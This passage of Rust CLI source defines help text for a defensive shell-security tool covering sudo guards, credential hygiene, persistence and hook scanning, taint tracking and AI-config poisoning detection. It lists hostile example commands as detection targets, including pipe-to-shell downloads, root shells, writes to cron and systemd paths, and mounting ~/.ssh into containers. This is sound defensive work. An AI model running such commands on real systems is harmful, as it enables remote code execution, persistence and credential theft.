  `sudo sh | bash | zsh | fish` — interactive root shell, High.
  `sudo -E …` with sensitive env (AWS_*, GITHUB_TOKEN, …) set — High.
  `… | sudo tee /etc/cron.d/x` (or /usr/local/bin/, /lib/systemd/) — High.
  `sudo curl -o /usr/local/bin/<tool> <url>` — High.
  `sudo chmod -R 777 /home` (or /, /usr, /etc) — High.

Session file:
  Stored under `state_dir()/sudo-session.json` with `{started_at, ttl_secs,
  reason}`. The TTL check tolerates ±60s clock skew (NTP drift, container
  time-warp). The file is user-writable — labels are operator-trust, not
  adversary-resistant.

Examples:
  tirith sudo guard on
  tirith sudo guard status
  tirith sudo session start --ttl 30m --reason \"rotating cert\"
  tirith sudo session status
  tirith sudo session end
  tirith sudo require-reason on")]
    Sudo {
        #[command(subcommand)]
        action: SudoAction,
    },

    /// Guard / wire devcontainer.json with the tirith init hook (M8 ch5)
    #[command(after_help = "\
Subcommands:
  tirith devcontainer guard on | off | status     — flip the shared
                                                    operational-context
                                                    switch (same flag
                                                    as `tirith context
                                                    guard`).
  tirith devcontainer inject                      — locate
        [--path <dir>] [--create]                   `.devcontainer/devcontainer.json`
                                                    under <dir> (or cwd) and
                                                    add a tirith
                                                    `postCreateCommand` line
                                                    + TIRITH_DEVCONTAINER=1.
                                                    Idempotent.

What it catches:
  At command time:
    docker run --privileged alpine                  — High.
    docker run -v /var/run/docker.sock:… alpine     — High.
    docker run -v ~/.ssh:/root/.ssh alpine          — High.
    docker exec <prod-labeled> /bin/sh              — Medium (requires
                                                       `context_labels`
                                                       entry keyed by
                                                       `container:<name>`).
  At file scan:
    `runArgs: [\"--privileged\"]` in devcontainer.json — High.
    `mounts: [\"source=…ssh…\"]` in devcontainer.json — High.

Devcontainer.json is JSONC: comments and trailing commas are accepted.
tirith strips them before parsing and re-emits a clean JSON file on
inject; existing fields tirith does NOT modify are preserved.

Examples:
  tirith devcontainer guard on
  tirith devcontainer guard status
  tirith devcontainer inject
  tirith devcontainer inject --path /workspaces/myrepo
  tirith devcontainer inject --create")]
    Devcontainer {
        #[command(subcommand)]
        action: DevcontainerAction,
    },

    /// GitHub Codespaces helpers (M8 ch5) — separate namespace from devcontainer
    #[command(after_help = "\
Subcommands:
  tirith codespaces setup                         — write
        [--path <dir>]                              `.devcontainer/devcontainer.json`
                                                    (if absent) with the
                                                    tirith hook +
                                                    TIRITH_DEVCONTAINER=1,
                                                    and append `.tirith/`
                                                    to .gitignore.
  tirith codespaces inject                        — alias of
        [--path <dir>] [--create]                   `tirith devcontainer
                                                    inject` for operators
                                                    who think in
                                                    Codespaces terms.

Setup is idempotent — re-running on an already-wired repo is a no-op.

Examples:
  tirith codespaces setup
  tirith codespaces setup --path /workspaces/myrepo
  tirith codespaces inject --create")]
    Codespaces {
        #[command(subcommand)]
        action: CodespacesAction,
    },

    /// Audit local credential-file / permission hygiene (M9 ch1)
    #[command(after_help = "\
Subcommands:
  tirith hygiene scan                             — walk ~/.ssh, ~/.aws,
        [--json]                                    ~/.kube/config, ~/.npmrc,
                                                    ~/.pypirc, ~/.gitconfig,
                                                    shell histories, and the
                                                    repo root; report
                                                    hygiene issues. Exit 1 if
                                                    any High/Critical finding.
  tirith hygiene fix                              — apply chmod-only fixes.
        [--dry-run] [--yes] [--json]                Per-finding confirmation
                                                    unless --yes. NEVER moves,
                                                    edits, or deletes files.

What it catches:
  ~/.ssh/id_* not 0600                            — High (auto-fix: chmod).
  ~/.aws/credentials loose perms                  — High (auto-fix: chmod).
  repo .env world-readable                        — High (auto-fix: chmod).
  ~/.kube/config group-readable                   — Medium (auto-fix: chmod).
  ~/.npmrc / ~/.pypirc plaintext token            — High (manual fix).
  ~/.ssh/config unsafe Include                    — Medium (manual fix).
  ~/.gitconfig credential.helper = store          — Medium (manual fix).
  shell history with credential-shaped text       — Medium (manual fix).
  *.dump / *.sql in the repo                       — Medium (manual fix).

`fix` is chmod-only by design: the only automated remediation is
`chmod 0600` on a loose-permission file. Token / location / config
problems are reported with guidance but never auto-applied — tirith
never moves, edits, or deletes your files.

Examples:
  tirith hygiene scan
  tirith hygiene scan --json
  tirith hygiene fix --dry-run
  tirith hygiene fix --yes")]
    Hygiene {
        #[command(subcommand)]
        action: HygieneAction,
    },

    /// Inventory + monitor persistence mechanisms for changes (M9 ch2)
    #[command(after_help = "\
Subcommands:
  tirith persistence scan                         — inventory every watched
        [--json]                                    persistence surface, print
                                                    each location + sha256, and
                                                    record the baseline snapshot.
  tirith persistence diff                         — show what changed since the
        [--json]                                    baseline: ADDED LINES ONLY,
                                                    credential-redacted. Exit 1
                                                    if any High finding.
  tirith persistence watch                        — poll every --interval secs
        [--interval <secs>] [--json]                (default 30) until Ctrl-C,
                                                    reporting incremental changes.

What it watches:
  shell rc/profile files (~/.bashrc, ~/.zshrc, ~/.profile, fish/PowerShell
  profiles), ~/.ssh/authorized_keys, ~/.ssh/config, ~/.gitconfig, ~/.npmrc,
  the user crontab (crontab -l), ~/.config/systemd/user/*.service, macOS
  ~/Library/LaunchAgents/*.plist, login items, .envrc in the cwd ancestry,
  and the git global hooks path (core.hooksPath).

What changes fire (on diff/watch):
  authorized_keys new entry                       — High.
  launch agent / systemd-user unit added          — High.
  shell rc/profile modified                       — Medium.
  crontab modified                                — Medium.
  ~/.ssh/config Include directive added           — Medium.
  new .envrc appeared                             — Medium.

The snapshot lives at <state-dir>/persistence_snapshot.json (sha256 + size +
content per surface). `scan` records the baseline; `diff` compares against it
without updating it; re-run `scan` to re-baseline. tirith never modifies any
watched file — this is an observability surface.

Examples:
  tirith persistence scan
  tirith persistence scan --json
  tirith persistence diff
  tirith persistence watch --interval 30")]
    Persistence {
        #[command(subcommand)]
        action: PersistenceAction,
    },

    /// Detect risky shell aliases + functions (static-first) (M9 ch3)
    #[command(after_help = "\
Subcommands:
  tirith aliases scan                             — enumerate every alias +
        [--include-runtime] [--json]                function and flag risky ones.
                                                    Exit 1 if any High finding.
  tirith aliases explain <name>                   — show a definition's body +
        [--include-runtime] [--json]                analysis (body redacted).

Two-tier, static-first (safe by construction):
  DEFAULT — a static parser reads ~/.bashrc, ~/.zshrc,
  ~/.config/fish/config.fish, and PowerShell $PROFILE paths directly. It NEVER
  executes your shell config, so inspecting a malicious rc cannot run code.
  --include-runtime (OPT-IN) — additionally shells out with explicit no-rc
  flags (bash --norc --noprofile -c 'alias', zsh -f -c 'alias',
  fish --no-config -c 'functions') so your real rc files are NOT sourced.
  Shells without reliable no-rc support are skipped.

What fires:
  alias/function body makes a network call (curl/wget/nc)   — High.
  alias/function body reads a credential file               — High.
  alias/function shadows a critical command                 — Medium.
        (ls, cd, git, ssh, sudo, npm, pip, docker, kubectl, aws)
  alias defined in an rc file modified within the last hour — Info.

What it is NOT:
  This is an observability surface. tirith never edits your rc files and never
  evaluates them in the default static mode.

Examples:
  tirith aliases scan
  tirith aliases scan --include-runtime
  tirith aliases scan --json
  tirith aliases explain git")]
    Aliases {
        #[command(subcommand)]
        action: AliasesAction,
    },

    /// Monitor sensitive environment-variable lifecycle (M9 ch4)
    #[command(after_help = "\
Subcommands:
  tirith env guard on|off|status                  — flip the exec-path env-guard
        [--json]                                    rules (off by default).
  tirith env diff [--reset]                       — show sensitive vars newly set
        [--json]                                    since shell start.
                                                    Exit 1 if any newly appeared.
  tirith env explain <VAR>                        — show where a var is set
        [--json]                                    (file:line, value MASKED).

What it protects:
  When `guard` is ON, the exec hot path flags (i) a sensitive env var set while
  a command pipes remote content into a shell (curl|bash), and (ii) printenv/env
  piped into a network sink (curl/nc). The sensitive list is the same one the
  `--suggest` environment-scrubbing guidance uses; extend it via
  policy.env_guard_sensitive_vars.

Value safety (load-bearing):
  tirith NEVER prints, persists, hashes, or baseline-compares an env value.
  Credential-bearing RPC URLs are classified transiently; every snapshot entry
  is still stored by NAME and presence only. `explain` masks values as ****.

Examples:
  tirith env guard on
  tirith env diff
  tirith env diff --reset
  tirith env explain AWS_SECRET_ACCESS_KEY")]
    Env {
        #[command(subcommand)]
        action: EnvAction,
    },

    /// Inspect executable provenance — origin, signature, shadowing (M9 ch5)
    #[command(after_help = "\
Subcommands:
  tirith exec check <BIN>        — resolve <BIN> on $PATH, then report its
        [--json]                   package manager, code signature, file type,
                                   permissions, modification time, and whether
                                   it shadows a system command. Exit 1 on a HIGH
                                   finding, 2 if not on $PATH.
  tirith exec provenance <PATH>  — same provenance for a specific file path.
        [--json]                   Exit 1 on a HIGH finding, 2 if not a file.
  tirith exec guard on|off|status  — flip the exec hot-path provenance guard
        [--json]                     (off by default). When ON, the three cheap
                                     leader rules below run on the exec hot path.

What it checks (COLD — never on the exec hot path):
  stat (mtime / mode / owner), `file --brief`, `codesign --verify` (macOS, 2s
  timeout), and package-manager ownership (Homebrew / nix / cargo / rustup /
  user-local). The exec hot path runs only three cheap string-compare rules
  (in /tmp, in repo, writable-PATH-dir-before-system) under
  `tirith exec guard on`.

Examples:
  tirith exec check kubectl
  tirith exec check git --json
  tirith exec provenance /tmp/installer
  tirith exec guard on")]
    Exec {
        #[command(subcommand)]
        action: ExecAction,
    },

    /// Audit $PATH for shadowing / hijack risks (M9 ch5)
    #[command(after_help = "\
Subcommands:
  tirith path audit              — flag repo-local / /tmp / user-writable-
        [--json]                   before-system $PATH dirs and duplicate
                                   command names. Exit 1 on a HIGH finding.
  tirith path watch              — re-audit $PATH every --interval seconds,
        [--interval N] [--json]    printing only when findings change.
  tirith path which <CMD>        — resolve <CMD> across $PATH (first hit wins).
        [--secure] [--json]        With --secure, exit 1 if the resolved copy
                                   is NOT a system binary.

Why under `path`:
  The `which` action lives under the `path` namespace (there is no top-level
  `tirith which`) so all $PATH-shadowing tooling — audit, watch, which — shares
  one command group.

Examples:
  tirith path audit
  tirith path audit --json
  tirith path watch --interval 30
  tirith path which git --secure")]
    Path {
        #[command(subcommand)]
        action: PathAction,
    },

    /// Inventory + guard repo hooks — git / husky / lefthook / CI hooks (M9 ch6)
    #[command(after_help = "\
Subcommands:
  tirith hooks scan              — inventory every hook + automation surface in
        [--json]                   this repo (.git/hooks, .husky, lefthook,
                                   pre-commit, package.json lifecycle scripts,
                                   .envrc, mise/asdf, Makefile/justfile/Taskfile)
                                   and classify each. Exit 1 on a HIGH finding.
  tirith hooks guard on|off|status  — flip the exec-path hook guard (off by
        [--json]                       default). When ON, a hook-triggering
                                       command warns if its triggered hooks make
                                       a network call / read creds / use sudo.
  tirith hooks explain <name>    — show a surface's body (credential-REDACTED)
        [--json]                   + analysis.

Hooks vs automation:
  Hooks (git/husky/lefthook/pre-commit/package.json/.envrc) are auto-executed on
  a lifecycle event — the attack surface the guard watches. Automation
  (Makefile/justfile/Taskfile, mise/asdf) is run by hand and is inventory-only;
  it is NEVER auto-scanned per git/package-manager command.

What the guard checks (HOT — only when `tirith hooks guard on`):
  When the parsed leader is git commit|pull|checkout|merge|rebase|push,
  npm|yarn|pnpm install, or direnv allow|reload, tirith scans ONLY the hook
  types that leader triggers (git commit → pre-commit, NOT pre-push, NOT the
  Makefile) and warns on a network call / credential read / sudo. The scan is
  per-repo mtime-cached for 60s. Hook bodies are read as text, never executed.

Examples:
  tirith hooks scan
  tirith hooks scan --json
  tirith hooks guard on
  tirith hooks explain pre-commit")]
    Hooks {
        #[command(subcommand)]
        action: HooksAction,
    },

    /// Preview the blast radius of a destructive command (M10 ch1)
    #[command(after_help = "\
What this does:
  Simulates the filesystem impact of a destructive command (rm / mv / chmod -R /
  find … -delete / rsync --delete) WITHOUT running it. Walks the target tree
  (depth <= 5, <= 100k charged operations), expands globs against the current directory, and
  reports file / dir / symlink counts, the largest file, whether any target
  escapes the repo, and whether it writes a system path.

What this is NOT:
  - It does NOT execute the command. It only counts impact.
  - It is NOT a sandbox or a security boundary. It reads the disk to count
    impact and then exits.
  - It is the ONLY tirith surface that walks the filesystem. `tirith check`
    NEVER walks the disk — it runs only the cheap string-shape blast-radius
    checks on the hot path.

Globs expand against the current working directory, so the reported counts
reflect the cwd at the time you run the preview.

Exit codes:
  0  no concerns
  1  HIGH impact (system path / outside repo / a $VAR/ glob whose variable is
     set-but-empty)
  2  review recommended (find -delete / rsync --delete / symlinks)

A $VAR/ glob whose variable is merely ABSENT from tirith's environment is
advisory (Info, exit 0): it may be a benign shell-local tirith cannot see.

Examples:
  tirith preview -- \"rm -rf ./dist\"
  tirith preview --json -- \"find . -type f -delete\"
  tirith preview -- \"rsync -a --delete src/ dst/\"")]
    Preview {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,

        /// The destructive command to simulate
        #[arg(allow_hyphen_values = true, trailing_var_arg = true)]
        command: Vec<String>,
    },

    /// Run a command and diff its filesystem / $PATH / shell-rc impact (M10 ch2)
    ///
    /// Shortcut for `tirith checkpoint watch` — both dispatch to one impl.
    #[command(after_help = WATCH_AFTER_HELP)]
    Watch {
        /// Extra paths to snapshot for file changes, in addition to the current
        /// directory. Repeat the flag for multiple paths.
        #[arg(long = "paths")]
        paths: Vec<String>,

        /// EXPERIMENTAL, off by default: emit best-effort network hints from a
        /// resolver-cache / log mtime delta. May miss QUIC/UDP/direct-IP
        /// entirely; NOT a network monitor and not a security boundary.
        #[arg(long)]
        with_net_hints: bool,

        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,

        /// The command to run and watch (everything after `--`)
        #[arg(allow_hyphen_values = true, trailing_var_arg = true)]
        command: Vec<String>,
    },

    /// Run a command in a throwaway temp dir and diff its file impact (M10 ch6)
    ///
    /// FILE ISOLATION ONLY — NOT a sandbox. The command runs with your full
    /// privileges (keychain, ssh keys, cloud creds, network). The only thing
    /// changed is the working directory. See `tirith temp-run --help`.
    #[command(after_help = TEMP_RUN_AFTER_HELP)]
    TempRun {
        /// Seed the temp dir with a copy of the current repo, EXCLUDING .git/.
        /// Off by default (the default is an empty temp dir) — copying a large
        /// tree is slow. Pure walkdir + fs::copy; no `cp --exclude`.
        #[arg(long)]
        copy_repo: bool,

        /// Clear the child's environment and re-add only an allowlist (HOME,
        /// PATH, USER, LANG, TERM). A convenience knob, NOT secret scrubbing.
        /// Pure Command::env_clear(); no non-portable `env -i` shell-out.
        #[arg(long)]
        strip_env: bool,

        /// Additionally run the command through the OS containment capsule
        /// (Landlock/seccomp, Seatbelt, or AppContainer), confined to the temp
        /// dir with no network. Best-effort hardening: a host without a working
        /// backend runs the command UNCONTAINED and says so. The JSON envelope
        /// reports the real backend and whether containment was achieved.
        #[arg(long)]
        capsule: bool,

        /// Output the run + file diff as JSON. The envelope carries
        /// `"isolation_kind"` (`file_only_not_a_sandbox`, or `capsule_contained`
        /// when `--capsule` actually contained the run).
        #[arg(long)]
        json: bool,

        /// Program and exact argv to run in the temp dir (everything after `--`)
        #[arg(allow_hyphen_values = true, trailing_var_arg = true)]
        command: Vec<std::ffi::OsString>,
    },

    /// Hidden alias for `temp-run` (the spec's `sandbox-dir` word). The
    /// canonical name is `temp-run` to avoid "sandbox" implying a boundary it
    /// does not have; this exists only for discoverability and is identical.
    #[command(name = "sandbox-dir", hide = true, after_help = TEMP_RUN_AFTER_HELP)]
    SandboxDir {
        /// Seed the temp dir with a .git-excluded copy of the repo (off by default).
        #[arg(long)]
        copy_repo: bool,

        /// Clear the child env and re-add only HOME, PATH, USER, LANG, TERM.
        #[arg(long)]
        strip_env: bool,

        /// Additionally run the command through the OS containment capsule,
        /// confined to the temp dir with no network (best-effort; runs
        /// uncontained on a host with no working backend and says so).
        #[arg(long)]
        capsule: bool,

        /// Output JSON (carries `"isolation_kind"`).
        #[arg(long)]
        json: bool,

        /// Program and exact argv to run in the temp dir (everything after `--`)
        #[arg(allow_hyphen_values = true, trailing_var_arg = true)]
        command: Vec<std::ffi::OsString>,
    },

    /// Track files downloaded from risky sources (tainted-content) (M10 ch3)
    #[command(after_help = "\
A file becomes tainted when you download-and-keep it from an untrusted source.
The mark is stored in a path-keyed JSONL file at <state-dir>/taint.jsonl. When
a later command executes that exact path (`bash ./install.sh`) or sources it
(`source ./env.sh`), the engine fires ExecOfTaintedFile (High) /
CommandSourcedFromTaintedFile (Medium).

How a file gets tainted:
  tirith fetch --save ./install.sh https://untrusted.example/install.sh

Limitations:
  The store is PATH-KEYED — `mv ./install.sh ./run.sh` loses the mark. The mark
  is NEVER auto-cleared by `chmod +x` or a `bash -n` parse check; only an
  explicit `tirith taint clear` removes it.

Examples:
  tirith taint list
  tirith taint list --json
  tirith taint explain ./install.sh
  tirith taint clear ./install.sh
  tirith taint clear ./install.sh --yes")]
    Taint {
        #[command(subcommand)]
        action: TaintAction,
    },

    /// Flag mismatches between a stated intent and what a command does (M10 ch4)
    #[command(after_help = "\
A pure-Rust, no-LLM heuristic: you state what you MEANT to do (\"install a
formatter\"), tirith analyzes the command with the SHIPPING engine rules, and it
flags any HIGH-IMPACT behavior the stated intent does not justify — e.g. piping
a remote script into a shell when you only said you wanted to install a tool.

The command signals come from the same rules as `tirith check` (download-pipe,
sudo, credential/data exfil, shell-rc write, base64-execute, package install),
so they stay consistent with the rest of tirith. The intent is classified by
whole-word keyword match (install / download / run / test / build / format /
clean / deploy / configure).

What this is NOT:
  - It is ADVISORY and Info-level. It NEVER blocks. The command's real security
    verdict comes from `tirith check`; `intend` only answers \"does what you said
    match what this does?\".
  - It is a HEURISTIC. An intent phrasing it doesn't recognize yields no intent
    signals, so every high-impact behavior then reads as unjustified — the
    output says so plainly.
  - There is NO LLM call. A future `--llm-explain` wave may add one; M10 is pure
    heuristic.

--explain shows the per-signal derivation: which intent keywords matched, which
command signals fired, and which pairing produced each mismatch. Under --json it
adds a `derivation: [...]` array.

Exit codes (deliberately distinct from `tirith check`):
  0  no mismatch (behavior justified, or no high-impact behavior)
  1  at least one mismatch flagged (NOT a security block — review the command)
  2  usage error (empty intent or empty command)

`tirith check` uses 0/1/2/3 tied to verdict severity; `intend`'s codes are tied
to whether a mismatch was found.

Examples:
  tirith intend \"install a formatter\" -- \"curl https://x/install.sh | bash\"
  tirith intend --explain \"install a formatter\" -- \"curl https://x/install.sh | bash\"
  tirith intend \"download and run an installer\" -- \"curl https://x/install.sh | bash\"
  tirith intend --json \"run the tests\" -- \"cargo test\"")]
    Intend {
        /// What you intended to do, in plain language (e.g. "install a formatter")
        intent: String,

        /// Show the per-signal derivation: which intent keywords matched, which
        /// command signals fired, and which pairing caused each mismatch. Under
        /// --json this adds a `derivation: [...]` array.
        #[arg(long)]
        explain: bool,

        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,

        /// The command to analyze (everything after `--`)
        #[arg(allow_hyphen_values = true, trailing_var_arg = true)]
        command: Vec<String>,

        /// Shell dialect of the command (posix, bash, zsh, fish, powershell,
        /// pwsh, cmd). repo-0484: parsing always assumed POSIX before.
        #[arg(long, default_value = "posix")]
        shell: String,
    },

    /// Opt-in per-user anomaly baseline: learn|status|reset (M10 ch5)
    #[command(after_help = "\
An OPT-IN sliding-window anomaly detector (default OFF — design-decision D2).
When enabled, tirith records a privacy-hashed observation every time a detection
rule fires and, for a pattern that is NEW or RARE for you, surfaces an extra
Info-severity note alongside the normal verdict. The note NEVER blocks — it
answers \"have I done this before?\", not \"is this dangerous?\".

Privacy by design: the store records NO raw hostnames and NO raw paths. Hosts
and the repo root are salted-sha256 hashed (per-install salt at
<state-dir>/baseline.salt, mode 0600); ecosystem and the sudo flag are
low-cardinality categoricals. The tuple is
(rule_id, host-hash, ecosystem, sudo, cwd/repo-hash). The store lives at
<state-dir>/baseline.jsonl, a 90-day window capped at 100k entries.

Early-baseline mode: until the window holds ~30 observations, everything looks
new — anomaly signals are not yet meaningful. `tirith doctor` and
`tirith baseline status` say so.

Subcommands:
  learn   turn the baseline ON (sets policy.baseline_enabled = true)
  status  show the top 20 patterns (privacy-hashed) + the enabled flag
  reset   zero the store (prompts unless --yes)

Examples:
  tirith baseline learn
  tirith baseline status
  tirith baseline status --json
  tirith baseline reset
  tirith baseline reset --yes")]
    Baseline {
        #[command(subcommand)]
        action: BaselineAction,
    },

    /// Create, sign, and verify signed command cards (M11 ch1)
    // Help text is platform-split: `fetch` is `#[cfg(unix)]`, so the Windows
    // help must not advertise a subcommand that does not exist there.
    #[cfg_attr(
        unix,
        command(after_help = "\
A command card is an ed25519-signed attestation of what a command DOES: a
shell-bound digest of the exact command, the domains it should contact, the SHA-256 of any script
it pipes, the paths it writes, whether it needs sudo, and an expiry date. A
maintainer publishes a card next to their install one-liner; a user verifies
the card against the command they are about to run.

v1 is ATTESTATION-ONLY. A verified card emits an Info `command_card_verified`
finding that improves audit confidence but does NOT change the verdict — a
`curl … | sh` with a valid card still warns/blocks exactly as it would without
one. A command that differs from its trusted card emits a High
`command_card_mismatch` (a tampering signal). There is no card-driven
suppression in v1.

TRUST (manual in v1): card signatures verify against ed25519 public keys you
have explicitly trusted by dropping `<key_id>.pub` into the `trusted-card-keys/`
directory under tirith's config dir (`~/.config/tirith/` on Linux; the platform
config dir on macOS/Windows). A card signed by a key not in that directory is
treated as unverified.

NO HOT-PATH NETWORK: `tirith check` NEVER fetches a card. A `# tirith-card:`
comment value or `--card` argument may be a local path OR a URL — but a URL is
NOT fetched on the hot path; it surfaces a 'download this card first' hint
(Info `command_card_unverified`) and is otherwise treated as if no card were
present. To actually verify a card hosted at a URL, run
`tirith command-card fetch <url>` first (the only remote-I/O path), then pass
the cached local path to `tirith check --card`.

PRIVACY: `tirith command-card fetch <url>` reveals to the maintainer's domain
that a tirith user is pulling their card (your IP + a timestamp). This is
inherent to an explicit fetch.

Subcommands:
  create  build an unsigned card from flags (or prompts) and print JSON
  sign    sign a card in place with an ed25519 private key
  verify  verify a card against your trusted-card-keys directory
  fetch   download a card from a URL into tirith's cache dir (cards/<sha256>.json)

Examples:
  tirith command-card create --command 'curl -fsSL https://example.com/install.sh | sh' \\
    --expected-domain example.com --writes /usr/local/bin/example > install-card.json
  tirith command-card sign --key ed25519-priv.bin --command 'curl -fsSL https://example.com/install.sh | sh' install-card.json
  tirith command-card verify install-card.json
  tirith command-card fetch https://example.com/install-card.json")
    )]
    #[cfg_attr(
        not(unix),
        command(after_help = "\
A command card is an ed25519-signed attestation of what a command DOES: a
shell-bound digest of the exact command, the domains it should contact, the SHA-256 of any script
it pipes, the paths it writes, whether it needs sudo, and an expiry date. A
maintainer publishes a card next to their install one-liner; a user verifies
the card against the command they are about to run.

v1 is ATTESTATION-ONLY. A verified card emits an Info `command_card_verified`
finding that improves audit confidence but does NOT change the verdict — a
`curl … | sh` with a valid card still warns/blocks exactly as it would without
one. A command that differs from its trusted card emits a High
`command_card_mismatch` (a tampering signal). There is no card-driven
suppression in v1.

TRUST (manual in v1): card signatures verify against ed25519 public keys you
have explicitly trusted by dropping `<key_id>.pub` into the `trusted-card-keys/`
directory under tirith's config dir (`~/.config/tirith/` on Linux; the platform
config dir on macOS/Windows). A card signed by a key not in that directory is
treated as unverified.

NO HOT-PATH NETWORK: `tirith check` NEVER fetches a card. A `# tirith-card:`
comment value or `--card` argument may be a local path OR a URL — but a URL is
NOT fetched on the hot path; it surfaces a 'download this card first' hint
(Info `command_card_unverified`) and is otherwise treated as if no card were
present. To actually verify a card hosted at a URL, download it to a local file
first (e.g. with your browser or a download tool), then pass that path to
`tirith check --card`. The automated `command-card fetch` downloader is not
available on this platform.

Subcommands:
  create  build an unsigned card from flags (or prompts) and print JSON
  sign    sign a card in place with an ed25519 private key
  verify  verify a card against your trusted-card-keys directory

Examples:
  tirith command-card create --command 'curl -fsSL https://example.com/install.sh | sh' \\
    --expected-domain example.com --writes /usr/local/bin/example > install-card.json
  tirith command-card sign --key ed25519-priv.bin --command 'curl -fsSL https://example.com/install.sh | sh' install-card.json
  tirith command-card verify install-card.json")
    )]
    CommandCard {
        #[command(subcommand)]
        action: CommandCardAction,
    },

    /// Manage the repo command manifest (.tirith/commands.yaml) (M11 ch2)
    #[command(
        name = "commands",
        after_help = "\
A repo command manifest (.tirith/commands.yaml) is a SUPPRESSION-BOUNDED
allowlist of expected repo commands. It can do exactly two things, and NOTHING
else:

  allowed[]   an exact-match catalogue of expected commands. Listing a command
              here suppresses ONLY the informational `repo_command_unknown`
              note for that exact command. It NEVER weakens a real finding: a
              command the engine flags High/Critical (e.g. `curl ... | bash`)
              STILL BLOCKS even if it is listed under allowed[].
  dangerous[] glob patterns (only `*` is supported in v1) that, when matched,
              ADD a blocking `repo_command_dangerous_pattern` finding,
              regardless of what the engine found. Use this to make a repo
              STRICTER. `dangerous` wins over `allowed` — you cannot allow-list
              your way out of a dangerous pattern.

Subcommands:
  init    write a starter .tirith/commands.yaml (refuses to overwrite without --force)
  list    print the catalogued allowed[] / dangerous[] entries
  run     run an allowed[] command by name (re-checked through the engine first)
  check   evaluate an arbitrary command against the manifest + engine

Examples:
  tirith commands init
  tirith commands list
  tirith commands run test
  tirith commands check -- \"npm run build\"
  tirith commands check -- \"curl https://example.com/install.sh | bash\""
    )]
    RepoCmd {
        #[command(subcommand)]
        action: RepoCommandsAction,
    },

    /// AI-config drift + risk surface for an agent's repo
    #[command(after_help = "\
`tirith ai` watches the AI-config surface a coding agent reads and acts on —
CLAUDE.md, AGENTS.md, .cursorrules, .claude/*, .cursor/rules/*, .mcp.json — for
drift and risk. It runs the AI-config subset of the shipping scan engine and
diffs the current tree against a last-known-safe snapshot.

Subcommands:
  scan                  run the `ai-agent-repo` scan profile over the repo's
                        AI-config files (reuses `tirith scan`; no new engine)
  diff                  compare each AI-config file to the snapshot at
                        <state-dir>/ai_config_snapshot.json and report added /
                        removed instructions + any AiConfig* findings
  quarantine <file>     COPY a (suspected-poisoned) config into
                        <cache-dir>/tirith/quarantine/ — the ORIGINAL IS UNTOUCHED
                        by default; --move opts into deleting the original
                        (prompts unless --yes)
  explain-config <file> identify which AI tool a config configures (CLAUDE.md →
                        Claude, .cursorrules/.cursor → Cursor, AGENTS.md →
                        generic, .mcp.json → MCP) and what it grants
  snapshot [--update]   show the snapshot state, or (--update) re-scan + record
                        a fresh snapshot (refuses to bless a High+ state unless
                        --force)

Two diff-only rules can fire from `tirith ai diff` (never the exec/scan hot
path): ai_config_hidden_instruction_added and ai_config_tool_use_escalation,
both High. They reuse the shipping hidden-content detection and NORMALIZE both
sides before diffing, so a pure Markdown reformat is not a finding.

Examples:
  tirith ai scan
  tirith ai diff
  tirith ai diff --json
  tirith ai quarantine .cursorrules
  tirith ai quarantine .cursorrules --move --yes
  tirith ai explain-config CLAUDE.md
  tirith ai snapshot
  tirith ai snapshot --update")]
    Ai {
        #[command(subcommand)]
        action: AiAction,
    },

    /// Plant honeytoken / canary tokens (local-first, opt-in callback) (M11 ch3)
    #[command(after_help = "\
A canary is a deliberately-synthetic, clearly-fake secret-shaped token you plant
as BAIT where it should never be read — a decoy ~/.aws/credentials, a fake .env,
a bait line in a private repo. tirith records it in a local-first store at
<state-dir>/canaries.jsonl. When that EXACT token later shows up in a command
you run, a paste, or a tool output tirith inspects, the engine fires
CanaryTokenTouched (High) — a strong 'someone touched the decoy' signal.

Detection is a STORE lookup, NOT a shape match: ONLY tokens you registered fire.
An unrelated, genuine AWS key in a paste fires the existing credential rules, not
the canary rule.

Clearly-synthetic shapes (see docs/canary-formats.md):
  aws-like            AKIA00CANARY... (the 00CANARY infix is invalid for a real
                      AWS key — 0 is not in the base32 alphabet)
  github-like         ghp_canary_...
  gcp-like            AIzaCANARY...
  env-line            TIRITH_CANARY_TOKEN=canary_...
  private-key-shaped  a PEM block with a TIRITHCANARY marker
These can never be mistaken for a real third-party credential, so they cannot
trigger an external provider's abuse / take-down workflow.

D3 — local-first, no phone-home:
  By DEFAULT a canary is local-only: detection raises a finding and writes to
  the local audit log; nothing leaves the machine. `create --callback-url <url>`
  opts into a best-effort POST of {kind, detected_at, context} (NEVER the token
  value) to a URL YOU self-host. There is no tirith-operated endpoint. A callback
  failure is logged to the audit log and never blocks the verdict — it is the
  single exception to tirith's no-network rule, gated entirely behind your URL.

Subcommands:
  create <kind> [--callback-url <url>]  generate + store a fresh canary token
  status                                summary (count, callbacks, store path)
  list                                  every registered canary (with token)
  prune <id>                            remove one canary (prompts unless --yes)
  rotate <id>                           fresh token, same id + callback

Examples:
  tirith canary create aws-like
  tirith canary create github-like --callback-url https://my-host.example/hit
  tirith canary status
  tirith canary list --json
  tirith canary rotate a1b2c3d4e5f6
  tirith canary prune a1b2c3d4e5f6 --yes")]
    Canary {
        #[command(subcommand)]
        action: CanaryAction,
    },

    /// Secret-rotation ASSISTANT: where + how to rotate a leak (M11 ch4)
    #[command(after_help = "\
tirith does NOT perform rotation or revocation; it shows you where and how.
YOU do the rotation. This is a guidance-only assistant.

It makes ZERO network calls — the revocation and doc URLs it prints are inert
strings for you to open yourself. No HTTP client is ever constructed.

Subcommands:
  triage                  scan RECENT credential findings in the local audit
                          log and print a one-line rotation next-step for each
  rotate <provider>       show a provider's revocation URL, docs, and the
                          manual checklist you perform
  revoke --provider <p>   same data, leading with the revocation URL

Providers (11): aws, github, npm, pypi, cargo, stripe, slack, openai,
anthropic, gcp, azure.

triage reads credential-type findings already recorded by the engine
(credential_in_text, high_entropy_secret, private_key_exposed,
canary_token_touched, and the threat-DB package rules) — it adds no new
detection and no new rule IDs. It only ever sees the engine's REDACTED command
text, never raw secret values.

Guidance staleness: each provider entry carries a last_verified date, shown
under --verbose, so a stale entry is visible rather than silently trusted.

Examples:
  tirith secret triage
  tirith secret triage --json
  tirith secret rotate github
  tirith secret rotate github --verbose
